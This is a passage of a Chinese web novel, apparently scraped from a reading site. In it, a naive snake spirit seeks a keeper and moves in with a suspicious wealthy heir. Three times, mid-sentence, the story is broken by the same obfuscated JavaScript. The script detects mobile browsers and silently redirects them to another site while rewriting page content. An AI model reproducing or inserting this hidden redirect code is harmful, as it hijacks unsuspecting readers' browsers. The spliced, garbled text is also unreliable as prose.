《美人蛇,但笨蛋》 1. 你愿意养一条蛇吗 “同志,有没有见过这个人?” 虞城临江区的滨江花园里,两个警察拿着一张照片询问路人,被问到的人无一不是先眼睛一亮,随后遗憾地摇摇头。 “如果见到他记得报警,他这里……”其中一名警察指了指自己的脑袋,“不太好,一个人会有危险。” 路人们闻言更加遗憾了,连连点头表示自己知道了。 警察们一边问一边走,并没有发现路旁的万年青里有细微的声响。 一个扁扁的小脑袋从万年青下堆积的树叶堆里冒出来,竖瞳幽幽地看着远走的警察。 这群人类真是太过分了!他好不容易才变成原形跑走的,怎么还要抓他! 青玉竹尾巴把树叶拍的簌簌作响,发了一会儿并没有什么用的脾气后,卷起一片宽大的树叶把自己严严实实地盖住,在树叶下盘成一团,脑袋垫在尾巴上忧愁地叹了一口气。 事情为什么会发展到这一步呢? 记忆中他明明还在昆仑仙境寒月宫听仙君讲道,照例听一半睡了过去,等他醒来后却发现自己窝在一个狭小潮湿又冰冷的洞里。 不仅昆仑仙境、仙君和寒月宫中的灵宠伙伴们不见了踪影,连他辛辛苦苦修炼出来的妖身也缩水了一大半——从百尺长一人粗的大蛇变成了成人两指粗半个小臂长小小蛇。 他迷迷糊糊地爬出藏身的洞穴,好不容易找到一条相当平整的道路,刚露头就听见此起彼伏的尖叫,还没搞清楚发生了什么,就被一根疑似树枝的东西挑起来大力甩进了一旁的树林里。 而树林旁就是悬崖,他直接摔进了悬崖下的一条江水里,若非法力护体,这一下就能把他摔死,但饶是如此,他本来就所剩不多的法力直接清空。 万万没想到醒来后面临的境地竟然如此危险,青玉竹蜷在江边的养了一段时间伤,但他几乎没有独自狩猎过,打不过江边的各种猎物,只能顺江漂着,捡些掉落江中的果子充饥。 这样过了一段时间后,大江流入人类的城镇,青玉竹这才动用恢复了一点点的法力化为人形,打算上岸找点吃的。 然后他就被江边的面馆老板交给了被称为“警察”的官差,那个老板还坚持他是什么老年痴呆…… 想到这,青玉竹忍不住再次把树叶堆拍的啪啪作响,既是生气又是困惑,按照狐狸姐姐曾经教过他的人间规矩,人间吃饭需要给钱,如果没钱就要用身上值钱的东西抵偿,所以他把身上最贵重的仙君赐下的玉佩给了那个老板,自己都不舍了好半天,但那个老板为什么要把玉佩还给他,还要报官抓他? 而且还骂他老年痴呆! 他明明正值壮年而且也不呆! 青玉竹实在搞不懂这些人类怎么回事,更不想去寒月宫众妖口中危险至极的人类官府,于是想办法半路跑了,正好法力用尽,他干脆变回原形躲在了树丛里。 只是这终归不是长久之计,法力的衰微已经不能让他长时间辟谷,他必须得快些找到吃的。 用身上的东西换吃的已经行不通了,说不定又会被人类送进官府……那要怎么弄到吃的? 青玉竹冥思苦想。 他还没学会捕猎的时候就被仙君带入了昆仑仙境,从此吃喝不愁,捕猎能力基本没有,更何况从今日之事他就发现,作为一只从来没去过人间的蛇,他大概可能也许没法孤身一蛇在人类的地盘上活下来。 特别是这个人类地盘还和他过去知晓的大相径庭。 青玉竹抬头,从树叶的缝隙间看到江边高耸入云的房屋、宽敞平坦的道路以及其上飞速掠过的铁盒子……不论是仙君还是经常去往人间游玩的狐狸姐姐,在他们的描述中从来没有这些东西。 认真思考半天之后,青玉竹终于找到了现阶段最适合他的道路——那就是找一个和仙君一样的,供他吃喝的饲主,他可以和以前一样,当饲主的灵宠,每天逗他/她开心。 他低头看了看自己,是十分漂亮的青色小蛇,经过万年灵草淬体后更是如同毫无杂质的青色玉石,虽然是蛇,不比蠢狗那种毛茸茸讨人类喜欢,但应该也还是能找到饲主的吧? 毕竟仙君就经常夸他的原形好看……那可是昆仑仙境有数的大能! 想到这,青玉竹自信起来,开始认认真真地考虑找谁当饲主。 但青玉竹把醒过来后见到的人或事都反刍一遍,才后知后觉地发现,他其实没什么好考虑的,毕竟在这个陌生的世界里他谁都不认识,也不知道谁是好人谁是坏人,找饲主端是看运气。 青色小蛇不由得有点呆滞。 又认真进行了一阵没什么用的思考后,青玉竹最终决定相信自己的直觉——去找自己曾经见过的一幢漂亮房子。 就在被人类称为“咏江”的岸边。 那是一幢与寒月宫完全不同但同样精美的三层小楼,掩映在层层叠叠的树林之后,青玉竹曾经穿过树林,看到了小楼门口生机勃勃的锦簇花园。 正在浇花的雄性人类虽然看上去有种不好惹的冷冰冰,但院子角落却有给路过的野猫野狗留下的食物。 有房子、会养花、不讨厌小动物,外表还很凶,种种特征都和仙君很像。 感觉可以是他的新饲主! 青玉竹确认了目标,尾巴一甩从树叶下面出来,朝着江边的方向爬去……他决定先去找那个人类问问。 不知道他愿不愿意养一条蛇。 …… 青玉竹花了亿点点时间,终于重新找到了那幢漂亮的房子。 此时距离他找到当下的人生道路,已经过去了三天,吃下的那一小碗面早就没了踪影,整只蛇都饿得萎靡了。 房子门口的花园很漂亮,令青玉竹惊喜的是门口居然还有一大片池塘,池水碧波荡漾清澈见底,这让喜欢泡水的小蛇连饥饿都短暂忘记了。 不过他现在还没和主人家见过面,不能随便用人家的池塘,所以他只能用好不容易攒出来马上又要见底的法力把自己清理了一遍,希望给未来的饲主留个好印象。 刚刚整理完自己,青玉竹就发现一个人类从褐色的大门里走了出来,顺手合上大门,“咔哒”一声过后,门却并没有关紧,江风吹过,门打开了一小条缝隙。 青玉竹:“!” 这不正好说明此人和他有缘! 他精神一振,再次确认自己一切完美之后,端庄优雅地滑上了小楼白色的台阶。 熟悉的颜色让他有些恍惚,昔日寒月宫的地面也是这样的干净如雪,蠢狗就喜欢趴在出入宫门的必经之处,一身白毛完美融入,一旦有人/仙/妖踩到他,他就立刻跳起来去跟仙君告状……然后拿着仙君赐下的宝物或者别人/仙/妖的赔礼到处炫耀。 青玉竹羡慕又嫉妒,曾经试图学习,但他青色鳞片实在太过显眼,从来没成功过。 只是现在寒月宫已经不知所踪了。 青玉竹心情蓦然有些低落,面对门口细小的缝隙一时间竟然不想进去了……好像进了这扇门,以前的一切就真的就是以前了。 他需要一条蛇独自面对即将到来的陌生的一切。 想到这些,他就有种说不出的恐慌。 但犹豫了好一会儿,他还是决定进去,不论如何,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007858|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得先活下来,才有资格去想未来和过去。 青玉竹重新打起精神,沿着缝隙挤进了大门,入目便是一片白。 白色的宽敞的大厅里只有两张宽大的桌子、一张看上去像床的东西和一些青玉竹认不出来的玩意,空荡又冷清,倒是和寒月宫内装潢十分相似。 但寒月宫内空无一物是因为大部分东西都在仙君的芥子空间里,这个世界的人类也有这种东西吗? 青玉竹一边好奇,一边目标明确地往里爬,时不时吐出的蛇信已经捕捉到了一丝清寒的气味。 有些像雪,又有着雪没有的清新香味。 青玉竹曾经见过的冷冰冰的男人一身黑衣,正坐在大厅的一张桌子旁,一手里端着一杯黑乎乎的液体慢条斯理的喝着,一手翻看着桌上的什么东西。 一阵苦味伴随着热气从杯子里散发出来。 青玉竹瞬间收回了自己舌头,但还是感觉自己被苦到了。 他眼看着男人面不改色地喝完一整杯苦哈哈黑乎乎的东西,忍不住“嘶嘶”两声以表崇敬。 细小的“嘶嘶”声在空荡安静的空间里异常明显,男人放下杯子,目光漫不经心地一转,轻而易举就发现了白色地板上青色的小蛇。 他瞳孔瞬间定住了。 青玉竹人立而起,竖瞳已经变回了圆滚滚的模样,琥珀色的眼瞳充满期待地看着男人。 这位人类,你愿意养一条蛇吗? 男人僵在原地,手指十分缓慢地摸向桌面,青玉竹不知道他想干什么,好奇地等在原地看着。 然后他就发现男人拿起了一块眼熟的薄砖。 青玉竹:“!!!” 这薄砖就是能把官差叫来的玩意儿! 青玉竹顿时顾不得许多,使出当年和蠢狗抢食的力气,压榨出经脉里最后一丝法力,瞬间化成了人形。 “哐当”一声,男人手中的薄砖坠落地面,面无表情的脸裂开了,目瞪口呆地看着面前突然出现的男人。 沉默在空荡的房屋里蔓延。 过了不知道多久,青玉竹眼见未来可能的饲主依然在发呆,于是忍不住提醒道:“你的东西掉了。” 突如其来的声音惊醒了呆住的男人,他一下回神,深深看了一眼青玉竹,眼底残留的震惊很快被警惕和忌惮淹没。 他动作缓慢地俯身捡起掉落在地的手机,很快调整好了自己表情,平静又不卑不亢地对青玉竹说道:“您是……柳仙?” 柳仙是谁? 青玉竹看不懂人类复杂的眼神,也不知道人类的许多民间传说中,蛇被称为柳仙,闻言十分疑惑地歪了歪头。 男人眉头极其细微地皱了皱:“不知道柳仙驾临,有何贵干?” 所以柳仙到底是谁? 思索了半天之后,青玉竹决定放弃这个想不明白的问题,他眼睛一眨不眨地看着面前的男人,认真提出自己的请求:“你愿意养一条蛇吗?” 男人表情顿时僵住:“养蛇?” “对,蛇就是我。”青玉竹颇为期待地看着他,虽然收在袖中的手指已经紧紧捏在了一起,但很坚强地没有露出紧张的表情! 男人黑沉的瞳孔定定地看着他,一言不发。 青玉竹被看得有点害怕,小心翼翼地补充道:“我只吃一点点,不会很难养的……而且我可以随便你玩。” 男人脸上是猝不及防的疑惑:“什么?!” 青玉竹信誓旦旦:“我手感很好的,真的!” 男人表情隐隐又有了裂开的迹象,几次张了张嘴……最后还是陷入了深深的沉默。 2. 危险的蛇妖! 作为虞城顶级豪门的无数继承人之一,乔昭的成长环境一直充斥着各种离谱事件,神经早就麻木了。 但今天这场面他是真没见过。 一条蛇跑进了主打高端定位的别墅还当着他面变成了一个男人?! 乔昭勉强克制住了震惊,又打量了面前的男人……妖一眼。 一身飘然若仙的淡青色长袍,长及腰间的顺滑黑发随意披散着,左耳戴着一枚银色坠子,缀着与衣服同色的青色流苏,面容昳丽,气质矜贵而淡漠。 纵使他站在那里时妖异而美丽,但浑身上下透露出的非人感觉仍让乔昭有些心惊。 尤其是一双琥珀色的眼瞳,一眨不眨地钉在他身上,透露出一种难以言喻的危险感。 乔昭怀疑自己已经被当成了猎物。 这个世界上居然真有妖怪这种东西?这条蛇妖想干什么?为什么会出现在他的家里?他和乔家那群恶心人的东西有没有关系? 无数问题涌上乔昭心头,然而还没等他思索出结果,面前这只男妖精三句话险些让他刚刚凝聚起来的理智再次崩盘。 什么叫养蛇?不,这个能理解,后面两句话是什么意思? 乔昭沉默地看着面前的男妖精……一时间怀疑是面前的妖怪不懂人类语言,所以把主宾语搞反了…… 一个超自然的存在和一个普通人,到底谁玩谁? 靠着从小经历的严苛教育,乔昭勉强撑住了表情,条件反射性地开始权衡利弊……最好的结果当然把蛇妖送走无事发生……但蛇妖看猎物的眼神让他很怀疑自己有没有拒绝的权利……如果拒绝不了,这么个不知善恶不知深浅的妖怪住在家里…… 光是想想就令人头皮发麻。 他藏好眼底的警惕,委婉试探道:“我从未养过……蛇,恐怕照顾不好您……” 他话音未落,就见面前的蛇妖缓慢地抬起脑袋,瞳孔不知道什么时候变成了危险的竖瞳。 乔昭当机立断把接下来的话换了一句:“所以我可能需要一段时间的学习,如果您不介意的话,可以在我这里暂住。” 蛇妖的眼睛变了回去,露出一个矜持的笑,点了点头,开口留下“我饿了”三个字后,又当着乔昭的面变回了青色小蛇的模样。 乔昭身体一僵。 不提面前是一个不知深浅的妖怪,他本来就有些怕蛇。哪怕地上只是一条小蛇也够让他手脚发软……可现在这条蛇有理智会思考,他的恐惧如果被发现肯定又是一个弱点…… 他尽量控制着自己眼神不要躲闪,落在了地上的小蛇身上。 看上去确实和一般的蛇不太一样,扁扁的脑袋,又大又圆的眼瞳,最引人注目的显然是那身玉青色的鳞片,通透如同上等翡翠,乍一看仿佛一个蛇形的玉石摆件。 普通蛇大概长不成这样。 犹如艺术品一样的小蛇看上去越漂亮,越有一种危险的非人感……特别是乔昭还不知道“养蛇”之后会面对什么样的局面,警惕心几乎拉到了极致,见青色小蛇立起了身体,他下意识退后了一步。 青色小蛇吐了吐蛇信。 乔昭脚步顿住,尽量自然地问道:“您想吃什么?” 青色小蛇又吐了吐细小的蛇信。 乔昭不确定他这个状态是不能说人话还是不愿意说,结合自己脑海里十分有限的生物学知识,迟疑着问道:“……老鼠?” 青色小蛇闻言,脑袋抬得更高了,尾巴把大理石地面拍的啪啪作响。 乔昭:“……” 他识趣地把“蛇不会吃老鼠吗”的疑问咽了下去,避免过度激怒这个超自然的存在,想了想他又道:“如果您不介意吃人类的饭菜,那我可以让我的厨师来给您现做,只是需要一点时间。” 这句话说完,他十分自然地拿出手机:“我现在通知厨师。” 点亮手机,乔昭犹豫了片刻。 现在报警的话……但只是一瞬间,他就把这个想法压下了,不提现在乔氏刚刚换帅,出现警情容易影响公司股价,单是现在他和蛇妖面对面的境况,蛇妖如果暴起发难可没人能救他。 他面不改色地拨通厨师电话,还特地开了免提,交待厨师快些来后,才挂断电话。 蛇妖一直保持着人立的姿势,竖瞳紧盯着手机,一直到电话挂断,他才重新趴回去,向着沙发的方向游弋而去。 乔昭站在原地,尽量让自己显得恭顺,但余光却始终观察着蛇妖。 蛇妖在一个抱枕上把自己认认真真地盘成了一坨青色的……便便。 乔昭:“……” 这可能就是物种不同思维方式也不一样吧。 乔昭见蛇妖已经躺下,放轻脚步从沙发旁经过,打算先上二楼脱离蛇妖视线再说。 青色小蛇懒懒抬了抬脑袋。 乔昭脚步一顿正打算解释,但蛇妖很快把脑袋缩了回去,眼瞳乱飞。 乔昭没看懂这个表态,但试探着迈步后无事发生,他轻而快地上了二楼进了书房,将房门紧紧锁住。 他迅速坐到电脑后面,将客厅的监控调出,余光观察者白色沙发上十分明显的一坨,一边快速点开自己的联系人,找到其中一个头像,编辑了一大段话。 只是在消息即将发出时,他犹豫了一下。 乔昭现在并不太清楚这条蛇妖的实力,但他在偶尔看过的文学作品中,蛇这种妖怪一般都是阴险狡诈的代名词,虽然客厅里的蛇妖看上去一脚就能踩死,但沾上神神鬼鬼的东西他也不敢大意。 万一蛇妖在一楼也能监控到二楼呢? 如果他贸然把消息泄露出去,会不会激怒他?会不会把危险带给其他人? 乔昭脸色阴晴不定,思索半天后,还是删掉了原来的话,转而跟对方约了一个见面的时间,同时找了个空白U盘,将下午的监控视频全部拷贝了进去。 他决定明天找个安全的地方先试探一下再说。 做完这一切,他才保持着平稳的步伐下楼。 青色小蛇还保持着那个一言难尽的姿势盘在抱枕上,眼瞳一上一下,看着有些怪异。 乔昭眉头暗皱。 他对蛇这种生物依然有点麻爪,面对这个奇特的姿势难免涌起各种猜测……这条蛇是真没看见他还是懒得理他?他眼瞳这个样子是有什么深意吗?这是在观察环境?客厅的监控摄像头不会被发现了吧? 乔昭观察了一会儿始终得不出结论,沉默了一会儿后,他轻手轻脚地拿出手机,死马当活马医地在搜索页面输入问题:“蛇眼瞳一上一下是什么意思?” 答案很快跳了出来:“蛇睡着了。” 乔昭:“……” 有那么一瞬间,他感觉自己像个防备过度的傻子。 …… 青玉竹睡了没多久,就被一阵肉香唤醒的。 他有些迷糊地抬起脑袋,在不远处的大桌子上看到了一整条散发着诱人香味的鱼,以及其他摆了满满一桌的各种食物。 青玉竹顿时眼前一亮,脑子瞬间清醒了,此前发生的事情重新回到了脑子里。 他十分愉快地吐了吐蛇信,发出“嘶嘶”两声。 自打他从这个陌生的人间醒来,带着一脑袋摸不清状况的茫然就接连面对着险境,吃不饱睡不好,如今终于有了一处栖息之地,睡了一个好觉,醒来还有一桌子美食! 好运终于重新眷顾了他! 虽说一开始饲主并不想养他,但面对他可怜巴巴的眼神攻势还是同意了,而且他法力用尽,只来及表达最迫切的需求就不得不变回原形,饲主不仅不计较还立刻帮他准备了食物! 看来他选择饲主的眼光还是很好的嘛,看中的第一个人就这么好! 青玉竹从“床”上下来,很快滑到了一身黑衣的新饲主面前。 饲主低下头和他对视。 按理说此刻青玉竹应该说声“谢谢”,但法力损耗太过,他连原形说话的能力都丢了,只能换一种方式。 他想了想,干脆迎着男人目光爬上了他的腿,敏锐地感觉身下的躯体瞬间僵硬了起来。 咦?是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007859|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他太冷了吗?毕竟蠢狗以前就说他像块冰。 青玉竹很有自知之明地躲开了人类的皮肤,只是顺着衣服爬到了人类的肩膀上,但眼见男人脖颈上都是被他冻出来的鸡皮疙瘩,顿时有些抱歉。 他快速用头蹭了蹭男人的脸颊,蛇信轻柔地碰了碰男人的皮肤,亲昵地向全新的饲主表达完感谢,然后全身收缩,猛然舒展——像一根弹簧一样把自己朝着鱼的方向弹了出去。 然后他眼睁睁看着鱼从自己身下掠过。 糟糕……劲用大了…… “扑通”一声,青色小蛇掉进了清蒸鲈鱼旁边用砂锅盛放着的鸡汤里。 乔昭刚从那种“他是不是要咬我会不会有毒”的紧绷中缓过来,就当头撞上这么一出,怔了好一会儿才反应过来,赶紧起身走到鸡汤旁边,拿起勺子试图把蛇捞出来:“您没事吧?!” 勺子还没下锅,青色的小蛇已经爬了出来,有些费劲地贴在砂锅边缘,蛇信有气无力地吐了吐,但很快,他用一个别扭的姿势把自己挂在锅边,尾巴从汤里翘起,指了指一旁肥美的鸡肉。 乔昭陷入了沉默:“……” 看得出来,这条蛇确实是饿坏了。 乔昭用勺子把蛇舀了出来,看着尾巴缠在勺柄上的青色小蛇,犹豫了一会后,他还是把他直接放到了一个空的汤碗里。 主要是勺子里还有些鸡汤,总不能直接倒桌子上。 青色小蛇看上去对碗没什么不满,他在碗里艰难地调整了一下姿势,慢慢爬了出来,身体歪七八糟地扭着,但蛇尾很坚定地指着鸡肉的方向。 一整只鸡大概能把小蛇压死……乔昭和蛇瞳对视两秒后,沉默地在桌边坐下,犹豫了一会儿后,学着别人喂猫的动作,夹起鸡肉撕成条,放在了一身鸡汤味的小蛇面前。 小蛇“嘶嘶”两声,低头开始吃鸡肉,样子竟然有几分优雅。 乔昭看着他小口小口地吞咽着软嫩的鸡肉,有些疑心自己是不是把这只蛇妖想的太过危险了,毕竟蛇妖刚才的举动着实是有点蠢……总不能是故意演这么一出让他放松警惕吧? 但忌惮很快又重新回到了他的眼里。 刚刚上演了一出远距离(对蛇来说)跳鸡汤的小蛇看上去一点事都没有,尚且滚烫的鸡汤没有对他造成什么伤害,他还能吃掉巨量的食物。 要知道他为了不惹怒蛇妖,特意交代厨师尽全力,厨师搞出来了一桌小型宴席,供五六个人吃的食物在小蛇一点点的吞咽下几乎要见底了。 吃掉最后一点鱼肉,乔昭眼看着青色的小蛇的扭了扭蛇身,附着他身上的鸡汤油污莫名消失了,整只蛇重新变回了通透的翡翠玉石。 这显然是什么术法的力量。 又一次目睹这种超自然的力量,乔昭不动声色地离远了一些,开始思考能做什么防御。 可思考半天后无果……他纵然能找到最顶级的安保力量,但科技侧的东西对付得了魔法侧吗? 青玉竹不知道新鲜出炉的饲主在想什么,吃饱喝足,又用恢复了一点点的法力清理干净自己,他看着外边暗下来的天色,神情有些紧绷。 夜色对现在的他来说,是危险的开端。 大江里的大鱼、水蛇、人类城市的猫猫狗狗、偶尔出现的猛禽飞鸟,对现在自保能力基本为零的他来说都是敌人,极少数的情况,肥硕的老鼠都会对他造成威胁,简直倒反天罡! 只是夜色刚刚进入这间大房子,柔和的灯光自动亮起,青玉竹不自觉地抬头,猛然反应过来如今他已经找到庇护所,不用再面对入夜后的危险了。 青玉竹紧绷的心情放松了,本想蹭蹭饲主表达感谢,但饲主不知道什么时候离桌子好远,他有些遗憾地放弃了这个想法,只是冲他摇了摇尾巴。 打完招呼,他施施然爬进了早就看中的靠墙的白色柜子,在角落里蜷缩起来,打算继续补眠。 乔昭沉默地看着他,直到蛇影子都融进了电视柜的阴影里,他才缓缓吐了一口气。 这乱七八糟刷新三观的一天终于过去了。 3. 不会是AI小视频吧? 青玉竹在一片暖融融中醒了过来。 新饲主的大房子相当明亮,阳光毫无遮掩地撒遍了大厅,连带他栖身的角落都被照耀到了。 被阳光晒得升温的小蛇爬出角落,在大厅白色的地板上愣了一会儿后才想起来自己已经找到了新的饲主。 不过昨天和新饲主的相识太过匆忙,连基本的礼貌都没做到,现在到了新的一天,他起码应该和饲主一起吃个早饭,毕竟只有经常陪伴饲主才算尽到灵宠的责任。 这是狐狸姐姐教给他“灵宠知识”之一,虽然这些知识在寒月宫里从来没有用上过,但考虑到狐狸姐姐毕竟是换了十几个饲主的资深灵宠,青玉竹觉得自己刚到新家有必要听一听。 只不过他并没有在宽大的房子里感受到人的气息。 饲主似乎一大早就不见了。 但昨天用餐的桌子上还是摆放了热气腾腾的食物,青玉竹有些迫不及待地爬了上去,见到了已经被切成小块的各种肉食,还有小个小个刚好够他一口吞咽的肉包。 饲主果然是个细心的好人! 青玉竹喜滋滋地朝着小肉块进发,不多时就在盘子旁边发现了一张纸,上面写满了笔锋凌厉的字,似乎是饲主给他的留言。 青玉竹爬行的动作僵住,立起身体呆滞地看着这张纸。 这个人间的陌生体现在方方面面,比如文字。 他看不懂这个世界的文字,而从他醒来到遇到新饲主的这两个多月里,大部分时候都是原形,也没法向人请教,因而直到现在,他依然不认识这个世界的文字。 他和写满字的纸张相对无言片刻,若无其事地用尾巴把纸扒拉到了地上。 反正他就是一条蛇,谁说蛇一定要识字了! 既然饲主不在,那极有可能是有事出去了,以前仙君就经常出门不在寒月宫,问题不大,他可以自己喂饱自己。 青玉竹心安理得地凑到了盘子边开始吃饭……只是吃着吃着他突然想起来,自己好像还没和饲主互通名姓……算了,还是下次有法力化形的时候再问吧。 吃饱真好呀。 要不是嘴被占用了,他多少得高歌一曲。 把桌子上的食物一扫而空后,青玉竹感觉自己都被撑胖了两圈,不由得寻思了一下,下次化形还是和饲主沟通一下,他也不是每顿都这么能吃,只是之前饿太久了而已。 他盘在桌子正中央抬起头。 新饲主的房子很宽敞也很空荡,一眼就能看到外边,这种毫无遮挡的环境不免让他想起不久前艰难躲避一只大猫抓捕的一幕,不安全感油然而生,青玉竹撑着沉重的身体从桌子上下来,重新缩回了柜子的角落里。 确认自己挤在了角落,他认认真真地把自己盘成一个完美的形状,把头垫在尾巴上,一边静心消化,一边等着饲主回家。 等着等着,他渐渐睡着了。 天花板上的监控摄像头左右转了转,最终还是沉寂了下来。 …… 监控视频里,一条不仔细看几乎以为是镜头脏了的小蛇陡然变成了一个妖异美艳的男人,没过多久又重新变成了一条蛇。 钱锐的表情从不可思议变成怀疑人生最后回归一脸空白。 “这TM……是真的?”过了好一会儿,他终于缓过来了,顶着一脸空白看着乔昭,“你不会拿AI生成小视频玩儿我吧?哎合理啊,这模样一看就不是人……能……长……出来的……” 乔昭放下停留在报警页面的手机,面无表情地看着他。 钱锐说完也感觉自己脑浆被沸腾的思绪烤干了,作为乔昭唯一的朋友他还不知道乔昭什么人吗?指望他搞恶作剧不如指望猪上树,他酝酿了半天,最后发表了对这件事的总体看法:“卧槽!” 乔昭无语地揉了揉眉心:“所以,你们家老爷子……” “我们老爷子找的都是骗子你又不是不知道。”钱锐忍不住喊了一声,“你这是病急乱投医啊!” 他算知道乔昭为什么好端端养着病突然要找他了,虽说做生意的多少有些迷信,但乔昭从来敬鬼神而远之,而他亲爷爷和他亲爹就不一样了,公司搬新大楼都要找十个八个风水先生算日子,这方面的人脉确实比乔昭丰富。 但问题是这些人脉有一个算一个全是骗子,没见良辰吉日怎么旺公司了,倒是前段时间才被国外供应商坑了一笔大的。 “那些骗子肯定搞不定啊!”钱锐忍不住又提高了一点声音,“那那那那那可是真的蛇妖,当着监控的面变人了啊卧槽!!” 他语气里依然满是不可思议。 “别喊。”乔昭抬眸看了他一眼,平静道,“我知道,但常在河边走哪有不湿鞋,他们也许接触过类似的东西……所以我想拜托你先帮我打听打听。” 钱锐闭嘴了,过了一会儿小心翼翼地问道:“你还好吗?” 他可太了解乔昭的疑心病了,别看人现在平静的一比,内心指不定焦虑成什么样了。 乔昭沉默了一会儿:“现在还好……他似乎没有攻击人的欲望。” 不然他也不敢贸然进行今天的试探。 他今天一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007860|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早离开家门来找钱锐帮忙,期间并没有和蛇妖打招呼,就是想试探一下蛇妖能不能监控他的行为。 此时他和钱锐在虞城高新区的一家云顶餐厅里,和他在咏江春景的别墅一南一北,隔了几乎一个虞城。 特别是餐厅周围还围了一圈省政府的各种机关单位,他做好了一有不对就立刻求救的准备,只是等钱锐了解完了事情经过,周围也没有异象发生。 只是乔昭拿不准是蛇妖没法监控他,还只是等着他回去算账。 “要不,你先去我那住一段时间?”钱锐提出自己的办法,“惹不起躲得起嘛,我有好几个空着的房子。” 乔昭反问道:“你觉得我会缺房子住?” “呃……”钱锐一想也是,“那你是担心……” “没搞明白他的目的之前,躲是没用的。”乔昭冷静道,“谁知道这种东西有没有什么发现不了的追踪手段。” 说到后面,他眼神还是忍不住阴沉下来。 蛇妖出现的时机实在是太巧了,刚好是这个他把自己好三哥乔暄送进去的时候,实在是没法不联想到乔家那些人……而如果真是乔家的手笔,躲只会露怯。 乔昭暂且收敛杂念,认真看着钱锐:“你先帮我打听着吧。目前情况还没到最糟的时候,有乔家人在,我暂时也没法报警,这件事上我能信任的只有你了。” 钱锐顿时想起乔家那一摊子破事,使命感油然而生,拍着胸脯保证道:“放心放心,都交给我,哥们保准给你打听到解决办法。” 只是夸下海口后他又有些担心:“你今天不会还要回去吧?没问题吗?” 乔昭缓慢地点了点头。 从家里的监控看,今早他给蛇妖的留言被丢了,很难说蛇妖是不是生气了,他得回去看看情况。 更何况…… “总得面对他我才能打听到消息。”乔昭缓缓说道,“不搞清楚他的来历和目的,我寝食难安。” 钱锐欲言又止,想想乔昭的性格,还是把劝解的话咽了下去,只是道:“那你自己小心,有问题立刻联系我,我马上去救你!” 乔昭心头隐隐掠过一丝暖意:“多谢。” “咱们哥们说这个。”钱锐摆摆手,紧接着一副苍蝇搓手的样子,犹犹豫豫地看着他。 乔昭顿时有种不好的预感:“你想说什么?” “那啥,”钱锐眼睛里的好奇快冒出来了,“我能不能,去你家看看那个蛇妖?大美人啊卧槽,小爷长这么大就没见过这样式的!” 乔昭:“……” 4. 他的目的是什么? 太阳要落山了。 青玉竹在柜子口探头探脑地往外看,天色逐渐昏暗,但新饲主还是没有回家。 桌上摆放着一桌热气腾腾的饭菜,是两个陌生的人类进来做好后放在桌上,然后他们又离开了。 似乎就是饲主说过的“厨师”。 除此之外,一整天屋子里都是寂静的,甚至听不到门外是否有蝉鸣鸟叫的声音。 青玉竹不知道这栋别墅墙体和玻璃都做了相当完备的隔音措施,他只是觉得一下午都寂静的吓蛇。 自从他误食万年灵草开启灵智后,身边就极少有这么安静的时候。仙君交游广阔,经常有人仙妖前来寒月宫拜访,没有访客的时候,寒月宫内数量众多的大妖小妖也从来不会安静。 不是吵架就是打架,还经常有妖偷喝仙君的好酒,被仙君罚得上蹿下跳。 青玉竹很喜欢这样的热闹,哪怕他往往只是在角落里盘成一饼睡觉,但身边的热闹总会让他觉得很安全。 有实力强横的饲主和数量众多的伙伴,无需像未遇到仙君时那样在山野间艰难求活,他可以安心睡很久,醒过来身边总有热闹,总有一只妖会给他递上一枚灵果或一粒辟谷丹。 青玉竹愣愣地看着外边逐渐落山的太阳,恍然间觉得那样热闹的时光好像已经过去很久了。 不,不是好像。 他一觉真的睡了很久,久到据说千年未变的人间都已经没了他知晓的事物。 一种难以言喻的感觉涌上青玉竹的心头,他弄不清楚那是一种什么感觉,只是觉得说不出的难受,他从柜子里出来,爬到了门口的木柜上,听着隐隐的杂音从门缝里传出,却始终消解不掉内心的难受。 外面的世界是热闹的,但也是陌生而危险的,他作为一只不知为何落入此间的小妖,到处都无所适从。 此时此刻他无比想念新鲜出炉的饲主,虽然他们也不熟,但他已经是他在这个世界上最熟悉的人类了。 青玉竹直挺挺地躺在柜子上,余光看着透明的大窗户。 不知道新饲主什么时候回来。 似乎刚有这个念头,门就响了一声,随即被人推开,新饲主穿着一身黑衣走了进来。 青玉竹说不清楚的难受顿时一扫而空,神采奕奕地直起身体。 饲主,我等了你好久! 昏暗中冷不丁竖起一根青色的小东西,琥珀色的大眼睛反出诡异的光,乔昭心头一惊,想都不想一巴掌直接拍了出去。 手伸出去后他立刻反应过来自己家里来了个惹不起的祖宗,紧急制动却已经来不及改变手势。 一个巴掌就这么覆在青色小蛇的上方。 手掌下方的小蛇歪了歪脑袋。 